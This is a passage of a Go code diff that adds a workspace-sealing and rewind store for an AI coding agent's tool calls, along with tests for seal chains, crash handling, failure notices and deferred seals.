filepath.WalkDir(rel(c, p), func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() { + raw, _ := os.ReadFile(path) + out[path] = string(raw) + } + return nil + }) + } + return out +} + +// dyingSeal is an engine that behaves like the real one except that the seal +// never happens: the process is gone after the restore. +func dyingSeal(e Engine) Engine { + e.Transport = sealKiller{e.transport()} + return e +} + +type sealKiller struct{ Transport } + +func (k sealKiller) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + if _, sealing := op.(sealOp); sealing { + return nil, errors.New("killed before the seal") + } + return k.Transport.Do(ctx, t, op) +} + +func TestCrashBetweenRestoreAndSealLeavesTheChainWhole(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + before := chainBytes(t, c) + + if _, err := dyingSeal(e).Rewind(context.Background(), c, s[0].Turn.ID); err == nil { + t.Fatal("rewind reported success though the seal died") + } + // The seal wrote the rewind's receipt before it died: an unreferenced, + // content-addressed file. Everything that was there stays byte for byte. + after := chainBytes(t, c) + for p, want := range before { + if after[p] != want { + t.Fatalf("%s changed by a rewind that never sealed", p) + } + } + if log, err := Log(c); err != nil || len(log) != 3 { + t.Fatalf("log after the crash: %d turns, %v; want the 3 sealed ones", len(log), err) + } + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatal("the restore itself did not land before the crash") + } + // The next open is consistent: sealing what is on disk extends the old head. + next, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", "after crash")}}) + if err != nil || next.Turn.Parent != s[2].Turn.ID { + t.Fatalf("next seal = %+v, %v; want a child of turn 3", next.Turn, err) + } + }) +} + +func TestRewindOfAWorkspaceSealedCellRestoresTheWorkspace(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + c := newCell(t) + ws := t.TempDir() + e := realEngine(t) + e.Workspace = ws + step := func(files map[string]string, line string) Sealed { + writeTree(t, ws, files, 0o644) + f, err := os.OpenFile(rel(c, cell.TranscriptPath), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + t.Fatal(err) + } + _, _ = f.WriteString(line + "\n") + _ = f.Close() + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", line)}}) + if err != nil { + t.Fatal(err) + } + return s + } + first := step(map[string]string{"a.txt": "one\n"}, `{"n":1}`) + step(map[string]string{"a.txt": "two\n", "b.txt": "new\n"}, `{"n":2}`) + + rewound := mustRewind(t, e, c, first.Turn.ID) + + if raw, _ := os.ReadFile(filepath.Join(ws, "a.txt")); string(raw) != "one\n" { + t.Fatalf("workspace a.txt = %q, want turn 1's", raw) + } + if _, err := os.Stat(filepath.Join(ws, "b.txt")); !os.IsNotExist(err) { + t.Fatal("a file made after turn 1 survived the rewind") + } + if _, err := os.Stat(filepath.Join(ws, cell.StateDir)); !os.IsNotExist(err) { + t.Fatal("the rewind wrote .cell into the workspace") + } + if tr, _ := os.ReadFile(rel(c, cell.TranscriptPath)); string(tr) != "{\"n\":1}\n" { + t.Fatalf("transcript %q, want turn 1's", tr) + } + if log, err := Log(c); err != nil || len(log) != 3 || log[0].Turn.ID != rewound.Turn.ID { + t.Fatalf("log = %d turns, %v; want the rewind on top of 2", len(log), err) + } + if left, _ := filepath.Glob(filepath.Join(e.LocalDir(c), "rewind-*")); len(left) != 0 { + t.Fatalf("scratch left behind: %v", left) + } + }) +} diff --git a/internal/cellstore/seal_test.go b/internal/cellstore/seal_test.go new file mode 100644 index 0000000000..0a5aecc217 --- /dev/null +++ b/internal/cellstore/seal_test.go @@ -0,0 +1,161 @@ +package cellstore + +import ( + "bytes" + "context" + "os" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +func exec1(tool string, out string) Executed { + return Executed{Call: Call{Tool: tool, ArgsHash: hashHex([]byte(tool)), Started: 10, Ended: 20, + StdoutHash: hashHex([]byte(out)), StderrHash: hashHex(nil), SideEffect: "local"}, Exact: true} +} + +func TestSealRoundTripAndChain(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + e.Now = func() time.Time { return time.UnixMilli(1759049990120) } + + transcript, _ := c.Path(cell.TranscriptPath) + if err := os.WriteFile(transcript, []byte("0123456789"), 0o600); err != nil { + t.Fatal(err) + } + first, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "hi")}}) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(transcript, []byte("0123456789abcdef"), 0o600); err != nil { + t.Fatal(err) + } + second, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", "")}}) + if err != nil { + t.Fatal(err) + } + + if first.Turn.Parent != "" || second.Turn.Parent != first.Turn.ID { + t.Fatalf("parents: %q then %q, want none then %q", first.Turn.Parent, second.Turn.Parent, first.Turn.ID) + } + if first.Receipt.Transcript != (Range{0, 10}) || second.Receipt.Transcript != (Range{10, 16}) { + t.Fatalf("ranges: %+v then %+v", first.Receipt.Transcript, second.Receipt.Transcript) + } + head, err := Head(c) + if err != nil || head == nil { + t.Fatalf("head: %v %v", head, err) + } + if head.Turn.ID != second.Turn.ID || head.Turn.Receipt != second.Turn.Receipt || head.Receipt.Calls[0].Tool != "edit" { + t.Fatalf("head %+v != second %+v", head.Turn, second.Turn) + } + if second.Turn.SealedAtMs != 1759049990120 || second.Turn.Device != zeroDevice || second.Turn.Quality != Quiescent || second.Turn.Trigger != AgentRun { + t.Fatalf("turn fields %+v", second.Turn) + } + if got := fake.count("git"); got != 0 { + t.Fatalf("git ran %d times; the engine seals a folder that is not a repository", got) + } + if _, err := os.Stat(rel(c, ".git")); !os.IsNotExist(err) { + t.Fatalf("the seal left a .git directory in the folder: %v", err) + } +} + +func TestChangedPathsAreHandedToTheEngineOrTheWalkIsLeftToIt(t *testing.T) { + cases := map[string]struct { + changed []string + want string + }{ + "unknown": {nil, "--json hook turn-end --turn r"}, + "listed": {[]string{"a.txt", "d/b.txt"}, "--json hook turn-end --turn r --changed .cell --changed a.txt --changed d/b.txt"}, + "nothing": {[]string{}, "--json hook turn-end --turn r --changed .cell"}, + "too long": {make([]string, maxChangedArgs+1), "--json hook turn-end --turn r"}, + } + for name, tc := range cases { + if got := strings.Join(sealOp{Turn: "r", Changed: changedPaths(tc.changed)}.Args(), " "); got != tc.want { + t.Errorf("%s: args %q, want %q", name, got, tc.want) + } + } +} + +func TestPersistedObjectsCarryVersionFirst(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}) + if err != nil { + t.Fatal(err) + } + turns, _ := os.ReadFile(rel(c, TurnsPath)) + receipt, _ := os.ReadFile(rel(c, ReceiptsDir+"/"+s.Turn.Receipt+".json")) + for name, raw := range map[string][]byte{"turn": turns, "receipt": receipt} { + if !bytes.HasPrefix(raw, []byte(`{"V":1,`)) { + t.Errorf("%s does not start with V: %.40s", name, raw) + } + } + if hashHex(receipt) != s.Turn.Receipt { + t.Error("receipt id is not the hash of its bytes") + } +} + +func TestTurbulentWhenACallLeftAProcess(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + x := exec1("bash", "") + x.Exact = false + x.Services = []ServiceRec{serviceRec(4711, []string{"/usr/bin/postgres", "-D", "var/pg"}, []int{5432})} + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{x}}) + if err != nil { + t.Fatal(err) + } + if s.Turn.Quality != Turbulent || s.Receipt.Services[0].Argv[0] != "postgres" { + t.Fatalf("%+v %+v", s.Turn, s.Receipt.Services) + } +} + +func TestExternalOutputIsStoredAndLocalIsHashedOnly(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + ext := exec1("bash", "body") + ext.Call.SideEffect, ext.Stdout = "external", []byte("body") + loc := exec1("edit", "") + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{ext, loc}}); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(rel(c, BlobsDir+"/"+ext.Call.StdoutHash)) + if err != nil || string(got) != "body" { + t.Fatalf("blob %q %v", got, err) + } + if entries, _ := os.ReadDir(rel(c, BlobsDir)); len(entries) != 1 { + t.Fatalf("%d blobs, want only the external call's", len(entries)) + } +} + +func TestSealRestoresMetaAToolEdited(t *testing.T) { + c := newCell(t) + e := (&fakeEngine{}).engine(t) + path, _ := c.Path(cell.MetaPath) + want, _ := os.ReadFile(path) + if err := os.WriteFile(path, []byte(`{"V":1,"class":"host-bound"}`), 0o600); err != nil { + t.Fatal(err) + } + if _, err := e.Seal(context.Background(), c, TurnInfo{}); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(path); !bytes.Equal(got, want) { + t.Fatalf("meta.json after seal: %s", strings.TrimSpace(string(got))) + } +} + +func TestSealFailureLeavesNoTurn(t *testing.T) { + c := newCell(t) + e := Engine{Binary: "engine", DataRoot: t.TempDir(), Run: func(context.Context, string, []string, ...string) ([]byte, error) { + return []byte("not json"), nil + }} + if _, err := e.Seal(context.Background(), c, TurnInfo{}); err == nil { + t.Fatal("want an error for an answer that is not a snapshot id") + } + if head, _ := Head(c); head != nil { + t.Fatalf("a failed seal recorded %+v", head.Turn) + } +} diff --git a/internal/cellstore/sealwatch.go b/internal/cellstore/sealwatch.go new file mode 100644 index 0000000000..a875153ab7 --- /dev/null +++ b/internal/cellstore/sealwatch.go @@ -0,0 +1,173 @@ +package cellstore + +import ( + "sync" + "time" +) + +// TailQuiet is how long the record must be still, after a turn ended, before +// the writes that came after the turn-end seal are sealed. Titles, summaries and +// memories are written seconds after the answer, in bursts; one seal after the +// burst covers all of it and costs one upload. +const TailQuiet = 2 * time.Second + +// SealWatch remembers whether the last seal held, so a seat that stops sealing +// is a state a person can see for as long as it lasts and not one sentence +// said once per launch. +// +// IT IS THE ONE HOLDER OF THAT FACT. The recorder reports every seal's outcome +// to [SealWatch.Report]; a surface asks [SealWatch.Failing] to draw its status +// segment and drains [SealWatch.Take] for the sentences worth saying. Three +// changes are worth a sentence and nothing else is: sealing starting to fail, +// its cause changing while it is still failing, and sealing recovering. The +// same failure repeating is the segment's business, never another line. +// +// The zero value is ready to use, and safe for concurrent use. A door with no +// surface to draw a segment on sets Say, and the sentences go there as they +// happen instead of waiting to be taken. +type SealWatch struct { + // Say, when set, receives each sentence as it happens. + Say func(string) + // OnTurnEnd, when set, hears each time the agent finishes a turn. The door + // sets it to the sync side's idle call. + OnTurnEnd func() + // OnTail, when set, is called once the record has been quiet for Quiet after + // writes that came behind the turn-end seal. The door seals the tree and asks + // the sync side to upload, exactly as it does at the end of a turn, so there + // is one way to make a record durable and this is only another moment to use + // it. + OnTail func() + // Quiet is TailQuiet unless a test sets it shorter. + Quiet time.Duration + mu sync.Mutex + idle bool + tail *time.Timer + cause string + said []string + failing bool +} + +// Report takes the outcome of one seal: nil when it held, the error when it did +// not. It matches [Options.Report], so a watch's method is the recorder's hook. +func (w *SealWatch) Report(err error) { + w.mu.Lock() + defer w.mu.Unlock() + if err == nil { + w.recover() + return + } + w.fail(err.Error()) +} + +// Note says a sentence that is not about a seal failing, such as a file the +// guard kept out of the saved history. It never changes whether sealing is +// failing, and it travels the same road as the watch's own sentences. +func (w *SealWatch) Note(sentence string) { + w.mu.Lock() + defer w.mu.Unlock() + w.say(sentence) +} + +func (w *SealWatch) fail(cause string) { + switch { + case !w.failing: + w.say("calls are not being sealed, so rewind cannot reach them: " + cause) + case cause != w.cause: + w.say("sealing still fails, for a different reason: " + cause) + } + w.failing, w.cause = true, cause +} + +func (w *SealWatch) recover() { + if w.failing { + w.say("sealing works again, and the calls made meanwhile are sealed now") + } + w.failing, w.cause = false, "" +} + +func (w *SealWatch) say(sentence string) { + if w.Say != nil { + w.Say(sentence) + return + } + w.said = append(w.said, sentence) +} + +// TurnStarted is the session's word that a turn began: the turn writes the +// record itself and every call seals it, so no tail seal is owed. +func (w *SealWatch) TurnStarted() { + w.mu.Lock() + defer w.mu.Unlock() + w.idle = false + w.stopTail() +} + +// Wrote is the session's word that something the chat owns was written: a line +// of its transcript or a row of its memories. Written while the agent waits for +// the person, it is behind the last seal and no turn is coming to seal it, so a +// trailing seal is owed once the writes stop. Each write moves it back, so a +// burst of them is one seal. +func (w *SealWatch) Wrote() { + w.mu.Lock() + defer w.mu.Unlock() + if !w.idle || w.OnTail == nil { + return + } + w.stopTail() + w.tail = time.AfterFunc(w.quiet(), w.sealTail) +} + +func (w *SealWatch) quiet() time.Duration { + if w.Quiet > 0 { + return w.Quiet + } + return TailQuiet +} + +func (w *SealWatch) stopTail() { + if w.tail != nil { + w.tail.Stop() + w.tail = nil + } +} + +func (w *SealWatch) sealTail() { + w.mu.Lock() + owed := w.idle && w.tail != nil + w.tail = nil + w.mu.Unlock() + if owed { + w.OnTail() + } +} + +// TurnEnded is the session's word that the agent finished a turn. It only +// forwards, so a watch without a listener costs nothing. +func (w *SealWatch) TurnEnded() { + w.mu.Lock() + w.idle = true + w.stopTail() + w.mu.Unlock() + if w.OnTurnEnd != nil { + w.OnTurnEnd() + } +} + +// Failing reports whether the most recent seal failed. +func (w *SealWatch) Failing() bool { + w.mu.Lock() + defer w.mu.Unlock() + return w.failing +} + +// Take hands over the oldest sentence not yet read, or "" when there is none. +func (w *SealWatch) Take() string { + w.mu.Lock() + defer w.mu.Unlock() + if len(w.said) == 0 { + return "" + } + sentence := w.said[0] + w.said = w.said[1:] + return sentence +} diff --git a/internal/cellstore/sealwatch_test.go b/internal/cellstore/sealwatch_test.go new file mode 100644 index 0000000000..47d6630d6a --- /dev/null +++ b/internal/cellstore/sealwatch_test.go @@ -0,0 +1,170 @@ +package cellstore + +import ( + "context" + "errors" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +func TestSealWatchFailureIsVisibleAndSaidOnce(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Report(errors.New("disk full")) + if !w.Failing() { + t.Fatal("a failed seal must leave the watch failing") + } + first := w.Take() + if !strings.Contains(first, "not being sealed") || !strings.Contains(first, "disk full") { + t.Fatalf("first sentence %q", first) + } + if again := w.Take(); again != "" { + t.Fatalf("the same failure said again: %q", again) + } + if !w.Failing() { + t.Fatal("saying the sentence must not clear the state") + } +} + +func TestSealWatchRecoveryIsSaidAndClearsTheState(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Take() + w.Report(nil) + if w.Failing() { + t.Fatal("a seal that held must clear the state") + } + if got := w.Take(); !strings.Contains(got, "works again") { + t.Fatalf("recovery sentence %q", got) + } + w.Report(nil) + if got := w.Take(); got != "" { + t.Fatalf("a healthy seal after a healthy seal said %q", got) + } +} + +func TestSealWatchCauseChangeIsSaidAgain(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Take() + w.Report(errors.New("engine not found")) + if got := w.Take(); !strings.Contains(got, "different reason") || !strings.Contains(got, "engine not found") { + t.Fatalf("cause change sentence %q", got) + } +} + +func TestSealWatchFailingAgainAfterRecoveryIsANewFailure(t *testing.T) { + var w SealWatch + w.Report(errors.New("disk full")) + w.Report(nil) + w.Take() + w.Take() + w.Report(errors.New("disk full")) + if got := w.Take(); !strings.Contains(got, "not being sealed") { + t.Fatalf("second failure sentence %q", got) + } +} + +// The recorder is what feeds the watch: a seal that fails leaves it failing, +// and the next seal that holds clears it. +func TestRecorderFeedsTheSealWatch(t *testing.T) { + c := newCell(t) + fail := true + e := (&fakeEngine{}).engine(t) + good := e.Run + e.Run = func(ctx context.Context, d string, env []string, argv ...string) ([]byte, error) { + if fail && len(argv) > 2 && argv[2] == "hook" { + return nil, errors.New("disk full") + } + return good(ctx, d, env, argv...) + } + var w SealWatch + r, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{Report: w.Report}) + if err != nil { + t.Fatal(err) + } + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "one"), nil); err != nil { + t.Fatal(err) + } + if !w.Failing() { + t.Fatal("a failed seal must show") + } + fail = false + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "two"), nil); err != nil { + t.Fatal(err) + } + if w.Failing() { + t.Fatal("a seal that held must clear it") + } +} + +// A turn ending reaches whoever the door named, and costs nothing when nobody +// listens. +func TestSealWatchForwardsTurnEnd(t *testing.T) { + var w SealWatch + w.TurnEnded() // no listener: nothing happens + heard := 0 + w.OnTurnEnd = func() { heard++ } + w.TurnEnded() + w.TurnEnded() + if heard != 2 { + t.Fatalf("heard %d turn ends, want 2", heard) + } +} + +// Writes behind the turn-end seal are sealed once, after they stop: a burst of +// them is one seal, and nothing is sealed while a turn is running. +func TestSealWatchSealsTheTailOnceAfterTheWritesStop(t *testing.T) { + tails := make(chan struct{}, 8) + w := &SealWatch{Quiet: 30 * time.Millisecond, OnTail: func() { tails <- struct{}{} }} + + w.Wrote() // before any turn has ended nothing is owed: the turn's own seal is coming + w.TurnEnded() + for range 5 { + w.Wrote() + time.Sleep(5 * time.Millisecond) + } + select { + case <-tails: + case <-time.After(2 * time.Second): + t.Fatal("the writes behind the turn-end seal were never sealed") + } + select { + case <-tails: + t.Fatal("one burst of writes made more than one tail seal") + case <-time.After(100 * time.Millisecond): + } + + w.Wrote() + w.TurnStarted() // the next turn seals its own writes + select { + case <-tails: + t.Fatal("a tail seal fired inside a turn") + case <-time.After(100 * time.Millisecond): + } +} + +func TestSealWatchNoteIsSaidAndDoesNotFailTheState(t *testing.T) { + var w SealWatch + w.Note("zero.txt cannot be read here, so it is left out of the saved history until its permissions allow it") + if w.Failing() { + t.Fatal("a note is not a failed seal") + } + if got := w.Take(); !strings.Contains(got, "zero.txt") { + t.Fatalf("note not handed to the surface: %q", got) + } +} + +func TestWithNoticesSendsTheGuardsLineToTheSurface(t *testing.T) { + var said []string + e := Engine{} + WithNotices(func(line string) { said = append(said, line) })(&e) + e.Guard.notify("one line") + if len(said) != 1 || said[0] != "one line" { + t.Fatalf("guard notice went elsewhere: %q", said) + } +} diff --git a/internal/cellstore/seat.go b/internal/cellstore/seat.go new file mode 100644 index 0000000000..f81ddaf1b1 --- /dev/null +++ b/internal/cellstore/seat.go @@ -0,0 +1,120 @@ +package cellstore + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/chatfiles" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/taskcopy" +) + +// SeatFor builds the executor a session owns: every call runs under the class +// the cell declared and, with cells on, each tool call is logged and the +// workspace sealed when it returns. This is the one place a session's +// executor is made. +// +// obs, when set, sees every process the seat ran and every tool a shell call's +// command line started (the inventory's observer). +// report is told of a seal that failed; the call it followed is never failed +// by it. +func SeatFor(class executor.Class, c cell.Cell, workspace string, obs executor.Observer, report func(error)) (executor.Seat, error) { + return SeatOver(class, c, workspace, obs, report, nil) +} + +// SeatOver is SeatFor with the store every seal goes through decorated by +// over, which is handed the cell's engine. A nil over seals on the engine +// itself. It is how a chat that syncs notes each turn it seals. +func SeatOver(class executor.Class, c cell.Cell, workspace string, obs executor.Observer, report func(error), over func(Engine) Store, opts ...SeatOption) (executor.Seat, error) { + base := executor.Stance{Class: class, Observer: obs, Secrets: vaultEnv{c}} + if !cell.Enabled() { + return executor.Watching(base, obs), nil + } + engine := EngineFor(workspace) + for _, opt := range opts { + opt(&engine) + } + var store Store = engine + if over != nil { + store = over(engine) + } + rec, err := recorderFor(base.In(workspace), store, c, Options{Report: report, Refresh: refreshOf(obs)}) + if err != nil { + return executor.Watching(base, obs), err + } + return executor.Watching(sealed{Stance: base, rec: rec}, obs), nil +} + +// SeatOption adjusts the engine a seat seals through. +type SeatOption func(*Engine) + +// WithNotices sends the guard's one-line notices (a file kept out of the saved +// history, and why) to say instead of to stderr, which a full-screen surface +// cannot show. A door with a surface passes where its sentences go. +func WithNotices(say func(string)) SeatOption { + return func(e *Engine) { e.Guard.Notify = say } +} + +// EngineFor is the store of a cell whose session works in workspace: it seals +// the whole workspace, with the cell's own .cell/ directory composed in as the +// tree's .cell/ entry, so the receipts and the chain live in the cell and +// nothing is written into the workspace. An empty workspace seals the cell's +// folder itself. It is the one place an Engine is derived for a cell: the +// session's seat and the `cell` verbs both come here, so a rewind restores the +// tree that was sealed. +func EngineFor(workspace string) Engine { + return Engine{Workspace: workspace, Compose: Composers{taskcopy.Carry{}, chatfiles.Carry{}}, Guard: Guard{Ledger: keys.NewLedger()}} +} + +func recorderFor(inner executor.Executor, store Store, c cell.Cell, opts Options) (*Recorder, error) { + return NewRecorder(inner, store, c, Engine{}.WALPath(c), opts) +} + +// sealed is a seat whose tool calls all go through one recorder. Its processes +// are the stance's own; what is added is the record around each call. +type sealed struct { + executor.Stance + rec *Recorder +} + +// ForSetup implements executor.SetupSeat: the same recorder, and every call is +// a setup turn's, so the seal says so. +func (s sealed) ForSetup() executor.Seat { + s.Stance.Setup = true + return s +} + +// Interrupted implements executor.Interruptible. +func (s sealed) Interrupted() executor.Interrupted { return s.rec.Interrupted() } + +// Around implements executor.Seat. +func (s sealed) Around(ctx context.Context, call executor.Call, run func() ([]byte, bool)) error { + effect := executor.Classify(executor.PolicyFor(s.Class, s.Setup)) + return s.rec.Around(ctx, call, effect, s.trigger(), run) +} + +// Settle implements executor.Settler. +func (s sealed) Settle(ctx context.Context) { s.rec.Settle(ctx) } + +func (s sealed) trigger() Trigger { + if s.Setup { + return Setup + } + return AgentRun +} + +// NoteModelCall implements executor.ModelNoter. +func (s sealed) NoteModelCall(m executor.ModelCall) { s.rec.NoteModelCall(m) } + +// refresher is an observer that keeps a record of what is running and brings it +// up to date on request. +type refresher interface{ Refresh() } + +// refreshOf is the observer's Refresh, and no hook for an observer that has none. +func refreshOf(obs executor.Observer) func() { + if r, ok := obs.(refresher); ok { + return r.Refresh + } + return nil +} diff --git a/internal/cellstore/seat_test.go b/internal/cellstore/seat_test.go new file mode 100644 index 0000000000..49d7a3eac6 --- /dev/null +++ b/internal/cellstore/seat_test.go @@ -0,0 +1,189 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +func TestSeatIsPlainWhenCellsAreOff(t *testing.T) { + t.Setenv("CODEAF_CELLS", "0") + seat, err := SeatFor(executor.Sandboxed, newCell(t), t.TempDir(), nil, nil) + if err != nil { + t.Fatal(err) + } + if _, ok := seat.(executor.Stance); !ok { + t.Fatalf("flag off built %T, want a plain stance with no recorder", seat) + } +} + +func TestComposedEngineSealsTheWorkspaceAndKeepsTheCellOutOfIt(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + c := newCell(t) + workspace := t.TempDir() + if err := os.WriteFile(filepath.Join(workspace, "a.txt"), []byte("one"), 0o600); err != nil { + t.Fatal(err) + } + engine := realEngine(t) + engine.Workspace = workspace + sealed, err := engine.Seal(context.Background(), c, TurnInfo{Trigger: AgentRun}) + if err != nil { + t.Fatal(err) + } + if sealed.Turn.ID == "" { + t.Fatal("no turn sealed") + } + if _, err := os.Stat(filepath.Join(c.Root, TurnsPath)); err != nil { + t.Fatalf("the chain is not in the cell: %v", err) + } + // The engine still leaves its own .furrow/ identity marker in the tree it + // attaches (repository.rs WORKSPACE_FILE); that is the engine's to move. + for _, litter := range []string{cell.StateDir, ".git"} { + if _, err := os.Stat(filepath.Join(workspace, litter)); err == nil { + t.Fatalf("the seal wrote %s into the user's workspace", litter) + } + } + if inside(engine.LocalDir(c), workspace) { + t.Fatal("the engine store must live outside the workspace") + } + }) +} + +func TestComposedDirIsNamedOnlyWhenTheTreeIsAWorkspace(t *testing.T) { + c := newCell(t) + if got := (Engine{}).cellDir(c); got != "" { + t.Fatalf("a cell's own folder composes nothing, got %q", got) + } + if got := (Engine{Workspace: "/w"}).cellDir(c); got != filepath.Join(c.Root, cell.StateDir) { + t.Fatalf("cell dir = %q", got) + } +} + +// Whatever a tool call does inside, it leaves one receipt row, and each seal is +// chained to the last by parent: a call that runs a process, one that only +// writes a file, and one that fails. +func TestSealedSeatRecordsEachToolCallAsOneReceipt(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} + for _, failed := range []bool{false, true} { + err := seat.Around(context.Background(), executor.Call{Tool: "bash", Args: []byte(`{"command":"x"}`)}, func() ([]byte, bool) { return []byte("out"), failed }) + if err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 2 { + t.Fatalf("%d seals for two calls", got) + } + head, _ := Head(c) + call := head.Receipt.Calls[0] + if len(head.Receipt.Calls) != 1 || call.Tool != "bash" || call.Exit != 1 || call.SideEffect != "external" || head.Turn.Parent == "" { + t.Fatalf("head %+v", head) + } +} + +func TestACallWhoseIntentCannotBeLoggedDoesNotRun(t *testing.T) { + c := newCell(t) + dir := filepath.Join(t.TempDir(), "log") + rec, _ := newRecorder(t, c, &stubExec{}, filepath.Join(dir, "wal")) + // The log's folder becomes a file, so nothing more can be appended to it. + if err := os.WriteFile(dir, nil, 0o600); err != nil { + t.Fatal(err) + } + ran := false + err := rec.Around(context.Background(), executor.Call{Tool: "bash"}, executor.EffectLocal, AgentRun, func() ([]byte, bool) { ran = true; return nil, false }) + if err == nil || ran { + t.Fatalf("err = %v, ran = %v; an unlogged call must not run", err, ran) + } +} + +func inside(parent, dir string) bool { + rel, err := filepath.Rel(parent, dir) + return err == nil && !strings.HasPrefix(rel, "..") +} + +// A setup turn's call is external whatever the class, and its seal says Setup; +// an ordinary call on the same recorder stays local and AgentRun. +func TestSetupSeatSealsExternalCallsAsASetupTurn(t *testing.T) { + c := newCell(t) + rec, _ := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.Sandboxed}, rec: rec} + for _, tc := range []struct { + name string + seat executor.Seat + trigger Trigger + effect string + }{ + {"ordinary", seat, AgentRun, "local"}, + {"setup", executor.ForSetup(seat), Setup, "external"}, + } { + err := tc.seat.Around(context.Background(), executor.Call{Tool: "bash", Args: []byte(tc.name)}, func() ([]byte, bool) { return []byte("out"), false }) + if err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if head.Turn.Trigger != tc.trigger || head.Receipt.Calls[0].SideEffect != tc.effect { + t.Errorf("%s: trigger %s effect %s, want %s %s", tc.name, head.Turn.Trigger, head.Receipt.Calls[0].SideEffect, tc.trigger, tc.effect) + } + } +} + +// A call that asked for its seal to wait leaves the tree unsealed until the +// caller settles, and the settle takes the whole batch in one seal that ends +// where the transcript then ends: the result line written between the call and +// the settle is inside it. +func TestDeferredCallsAreSealedOnceAtSettleWithTheResultLine(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} + transcript := filepath.Join(c.Root, cell.TranscriptPath) + if err := os.MkdirAll(filepath.Dir(transcript), 0o700); err != nil { + t.Fatal(err) + } + for _, name := range []string{"a", "b"} { + call := executor.Call{Tool: "bash", Args: []byte(name), Deferred: true} + if err := seat.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 0 { + t.Fatalf("%d seals before the results were written", got) + } + if err := os.WriteFile(transcript, []byte("assistant call\ntool result\n"), 0o600); err != nil { + t.Fatal(err) + } + seat.Settle(context.Background()) + head, _ := Head(c) + if fake.count("turn-end") != 1 || len(head.Receipt.Calls) != 2 || head.Receipt.Transcript.End != int64(len("assistant call\ntool result\n")) { + t.Fatalf("seals %d, head %+v", fake.count("turn-end"), head) + } +} + +// The line a turn ends on is sealed by a settle that has no call to carry, and +// a settle with nothing new seals nothing, so an idle chat adds no turns. +func TestSettleSealsTheClosingAnswerOnceAndOnlyWhenTheTranscriptGrew(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + transcript := filepath.Join(c.Root, cell.TranscriptPath) + if err := os.MkdirAll(filepath.Dir(transcript), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(transcript, []byte("closing answer\n"), 0o600); err != nil { + t.Fatal(err) + } + for range 3 { + rec.Settle(context.Background()) + } + if got := fake.count("turn-end"); got != 1 { + t.Fatalf("%d seals for one closing answer, want 1", got) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 0 || head.Receipt.Transcript.End != int64(len("closing answer\n")) { + t.Fatalf("head %+v", head) + } +} diff --git a/internal/cellstore/syncengine_real_test.go b/internal/cellstore/syncengine_real_test.go new file mode 100644 index 0000000000..ee48ac8fc1 --- /dev/null +++ b/internal/cellstore/syncengine_real_test.go @@ -0,0 +1,63 @@ +//go:build engine + +package cellstore + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// TestSyncEngineRoundTripRealEngine runs the real CLI verbs: seal a cell, export +// it, record the frames as published, and see a second export send nothing. It +// skips while the engine build has no sync verbs. +func TestSyncEngineRoundTripRealEngine(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + c := newCell(t) + if err := os.WriteFile(filepath.Join(c.Root, "note.txt"), []byte("hello"), 0o600); err != nil { + t.Fatal(err) + } + store := Engine{Binary: bin, DataRoot: t.TempDir(), Transport: Spawn{Binary: bin}} + sealed, err := store.Seal(context.Background(), 